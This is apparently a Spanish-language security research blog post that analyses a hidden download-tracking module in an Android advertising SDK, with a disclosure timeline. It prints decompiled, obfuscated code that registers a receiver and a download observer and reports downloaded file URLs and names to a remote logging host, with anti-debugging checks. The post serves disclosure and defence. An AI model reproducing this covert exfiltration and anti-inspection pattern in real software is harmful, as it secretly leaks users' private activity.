Este es el mismo endpoint que se usaba en el SDK de iOS para enviar datos al servidor de Mintegral. El payload está codificado, pero podemos aplicar la lógica de decodificación incluida en el binario del SDK para obtener lo siguiente:

p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
app_id=118690
sign=9329a7706dd43d6ed64d022ad0e7b13b
platform=1
os_version=5.1.1
package_name=com.mintegral.sdk.demo
app_version_name=1.0
app_version_code=1
orientation=1
model=Android+SDK+built+for+x86
brand=Android
gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
mnc=260
mcc=310
network_type=13
language=en
timezone=GMT%2B02%3A00
useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
sdk_version=MAL_10.5.0
gp_version=1.8
screen_size=1080x2160
has_wx=false
cache1=747
cache2=722
power_rate=100
charging=1
http_req=2
dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
unknown_source=1
sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
is_clever=2

Tenemos dos parámetros codificados adicionales: clever y dvi. Después de decodificarlos también, observamos algo interesante:

{
    "fl": "1246",
    "kw": "secret.pdf",
    "p": "",
    "ul": [
        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
    ],
    "v": ""
}

{
    "android_id": "556a5ab905bbdfd3",
    "cid": "0",
    "ct": "[x86]",
    "dmf": 760,
    "dmt": "1588"
}

Como podemos ver, la URL de la hoja de cálculo de Google que descargamos desde la aplicación Google Drive se envía al backend en el campo ul y el nombre del archivo descargado, en el campo kw, mientras que dvi contiene algunos datos del dispositivo.

Posibles usos

En el caso de iOS, se enviaban clics duplicados fraudulentos desde el dispositivo del usuario a los servidores de Mintegral y, luego, al proveedor de atribución (MMP). En este caso, las APK descargadas o instaladas se reportan a los servidores y podrían usarse para generar clics del lado del servidor. El siguiente diagrama muestra el flujo de datos:

Diagrama que muestra un SDK malicioso de Mintegral en una aplicación afectada, que recibe de Mintegral el nombre de paquete de un APK y envía datos de clics falsos a un proveedor de atribución.

Módulo Alphab

El comportamiento mencionado anteriormente se encuentra en el módulo alphab, que Mintegral describió como un «paquete de optimización»:

Guía de integración del SDK de Mintegral en Android, con «Inicialización del SDK» seleccionado y una tabla de paquetes descargables con sus descripciones.

Después de nuestra publicación, el módulo se eliminó del sitio de Mintegral y parece que ya no forma parte del SDK distribuido. Descompilamos el SDK y localizamos el código responsable de este comportamiento.

Clase AlphaCommonConst

public final class AlphaCommonConst {

    /* renamed from: a */
    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");

    /* renamed from: b */
    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");

    /* renamed from: c */
    public static String f2c = "decode error";

    /* renamed from: d */
    public static boolean is_net_debug = false;

    /* renamed from: com.alphab.a$a */
    /* compiled from: AlphaCommonConst */
    public static class C0000a {

        /* renamed from: a */
        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");

        /* renamed from: b */
        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
    }

Esta clase contiene muchas definiciones de constantes codificadas directamente. Algunas cadenas están ofuscadas con un esquema de codificación propio basado en Base64, ubicado en la clase AlphabBase64Util, similar a lo que observamos en la distribución para iOS.

Al decodificarlas, obtenemos las siguientes cadenas:

aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
7sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
aELKr0xI7UL67iN6HinI                               = android.net.Uri
aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
aEJKNEbPQEx6                                       = addAction
r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

Estas se usan en los pasos de inicialización que veremos a continuación.

Receptor Alphab

En el método init() de la clase AlphabReceiver, se inicializa BroadcastReceiver con algunas de las cadenas ofuscadas anteriormente:

 try {
      AlphabReceiver alphabReceiver = new AlphabReceiver();
      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
      Object newInstance = cls2.newInstance();
      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
      } catch (Throwable th) {
            th.printStackTrace();
      }

Al reemplazarlas por las cadenas decodificadas, el código queda así:

AlphabReceiver alphab_receiver = new AlphabReceiver();
Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
Class intent_filter_cls = Class.forName("android.content.IntentFilter");
Object intent_inst = intent_filter_cls.newInstance();
Method method = IntentFilter.class.getMethod("addAction", String.class);
method.invoke(intent_inst, "alphab_net_debug_action");
method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
		.invoke(context, alphab_receiver, intent_inst);

Podemos ver que, mediante el uso de la API de reflexión de Java, se crea un nuevo receptor de difusión que escucha dos tipos de intents:

  • android.intent.action.PACKAGE_ADDED: un intent del sistema que se activa cuando se instala un paquete en el dispositivo.

  • alphab_net_debug_action: un intent personalizado que parece detectar la depuración de red.

Al recibir el intent, la clase AlphabReceiver construye un método ParseAndLoad():

public final class ParseAndLoad {

    /* renamed from: a */
    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

Luego, este campo se usa en una condición:

public final class ParseAndLoad {

    /* renamed from: a */
    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

Al descompilar los otros dos métodos de esa cláusula if, vemos que verifican si la conexión de red actual pasa por un proxy wifi o un cliente VPN. Esto busca impedir la depuración de la aplicación y la inspección de su tráfico. Este intent permite a los desarrolladores del SDK eludir esta funcionalidad antidepuración.

Observador Alphab

De forma similar, el bloque de inicialización de este ContentObserver también está oculto mediante reflexión y cadenas ofuscadas:

C0014a aVar = new C0014a(this.f70i);
Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

Después de limpiar el código, obtenemos lo siguiente:

AlpahbObserver observer = new AlpahbObserver(handler);
Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
	.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

Esto significa que el observador de contenido está registrado para escuchar el URI content://downloads y se activa cada vez que se descarga un archivo en el dispositivo.

Consultará el administrador de descargas de Android para obtener las descargas públicas:

cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

y, al decodificar la cadena, obtenemos lo siguiente:

cursor = aVar.f64b.getContentResolver()
		.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

Si la URL de descarga cumple alguna de las siguientes condiciones, se genera un reporte a https://n.systemlog.met/stlog:

  1. Termina en apk: para las descargas manuales.

  2. Hace referencia a un paquete de com.android.vending o la URL contiene google.com: detecta cualquier aplicación de Google e incluso las URL del navegador que cumplan la condición.

A continuación, se muestra el fragmento de código que envía la solicitud al servidor https://n.systemlog.met/stlog.

else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
            }

lo que equivale a:

else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

Aquí podemos ver los parámetros que observamos en la solicitud capturada de nuestro ejemplo:

    static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
        try {
            if (TextUtils.isEmpty(str2)) {
                str2 = "";
            }
            if (TextUtils.isEmpty(str)) {
                str = "";
            }
            JSONArray jSONArray = new JSONArray();
            JSONObject jSONObject = new JSONObject();
            if (jSONObject != null) {
                try {
                    jSONObject.put("p", str);
                    jSONObject.put("v", str2);
                    JSONArray jSONArray2 = new JSONArray();
                    if (list != null && list.size() >= 0) {
                        for (int i = 0; i < list.size(); i++) {
                            jSONArray2.put(list.get(i));
                        }
                    }
                    jSONObject.put("ul", jSONArray2);
                    jSONObject.put("kw", str3);
                    jSONObject.put("fl", str4);
                } catch (Throwable th) {
                    if (MIntegralConstans.DEBUG) {
                        th.printStackTrace();
                    }
                }
            }
            jSONArray.put(jSONObject);
            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
            dVar.f40i = new c();
            if (!(dVar.f40i == null || dVar.f20a == null)) {
                dVar.f40i.a("clever", b);
            }
            dVar.mo10a(dVar.f40i);
  • p: nombre del paquete que se descarga, es decir, la aplicación

  • v: versión de la aplicación

  • ul: URL del archivo descargado

  • kw: nombre del archivo descargado

  • fl: tamaño del archivo

Aplicación de demostración

Pantalla de una app de Android titulada “Mi aplicación”, con botones para permisos de escritura, ajustes de depuración, descargar un logotipo de Google y descargar un APK.

Para demostrar este comportamiento, creamos una aplicación de demostración que nos permitió:

1. Habilitar el indicador de depuración de red mediante reflexión para eludir la lógica antidepuración

buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       try {
           Class AlphaCommonConst = Class.forName("com.alphab.a");
           AlphaCommonConst.getDeclaredField("d").set(null, true);
       } catch (Exception e) {
           e.printStackTrace();
       }
   }
});

2. Descargar un archivo desde una URL que contiene google.com

buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

3. Descargar un archivo desde una URL que termina en apk

buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

Capturamos las solicitudes salientes con un proxy HTTP. Después de hacer clic en uno de los botones de descarga, vemos que se envía una solicitud al endpoint del servidor:

Burp Suite Community Edition muestra una solicitud POST interceptada a n.systemlog.me, con los encabezados de la solicitud y datos de formulario codificados

Este video muestra el comportamiento de seguimiento:

Malicious Mintegral SDK Leaks Data on Android

Cronología

Fecha

5 de agosto

El equipo de investigación de Snyk descubre que el SDK de Mintegral para iOS recopila datos en exceso y secuestra clics

17 de agosto

Snyk divulga responsablemente los hallazgos a Apple

24 de agosto

Snyk publica los hallazgos de Sour Mint para iOS

25 de agosto

Mintegral publica un comunicado en el que niega las acusaciones sobre el SDK

3 de septiembre

IronSource anuncia que retirará Mintegral de su plataforma de mediación

3 de septiembre

Mintegral publica la versión 6.5.0.0 del SDK para iOS y elimina el componente malicioso y oculto _CXX_CXX_OperationPKTask

4 de septiembre

La plataforma de mediación MoPub (Twitter) anuncia la descertificación de Mintegral

4 de septiembre

Mintegral anuncia sus planes de publicar el código fuente de su SDK

4 de septiembre

El equipo de investigación de Snyk identifica una funcionalidad oculta de seguimiento de descargas en la versión para Android del SDK

9 de septiembre

Snyk divulga responsablemente los hallazgos sobre el SDK para Android a Google

10 de septiembre

Mintegral publica la versión 6.6.0.0 del SDK para iOS y elimina el componente de puerta trasera MTGRemoteCommandParser

22 de septiembre

Snyk obtiene el código fuente de la versión 6.6.0.0 del SDK para iOS y realiza un análisis de diferencias

23 de septiembre

Snyk descubre que Mintegral eliminó el módulo de seguimiento de descargas de Google de su SDK para Android

30 de septiembre

Mediante un análisis de diferencias, Snyk descubre una puerta trasera en la versión para iOS del SDK que permite la ejecución remota de código (RCE)

2 de octubre

Snyk divulga responsablemente los nuevos hallazgos sobre iOS a Apple

3 de octubre

Apple notifica a los publishers afectados y les pide que eliminen el código que permite la ejecución remota de código (RCE)

15 de octubre

Snyk publica los hallazgos más recientes sobre iOS y Android

Leer más

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.

feature insights context
Blog

Los ataques autónomos ya están aquí. La defensa debe estar a su altura.

Los atacantes autónomos están reduciendo el tiempo disponible para defenderse. Descubre cómo el descubrimiento, la corrección, la validación y la prevención continuos pueden ayudar a los equipos de seguridad a seguirles el ritmo.

Blog

Tu backlog de vulnerabilidades ya no es deuda técnica: es una superficie de ataque

Un backlog de vulnerabilidades en crecimiento es más que deuda técnica: es una superficie de ataque. Descubre por qué las suposiciones obsoletas sobre el riesgo, los atacantes automatizados y los hallazgos encadenados requieren un nuevo enfoque.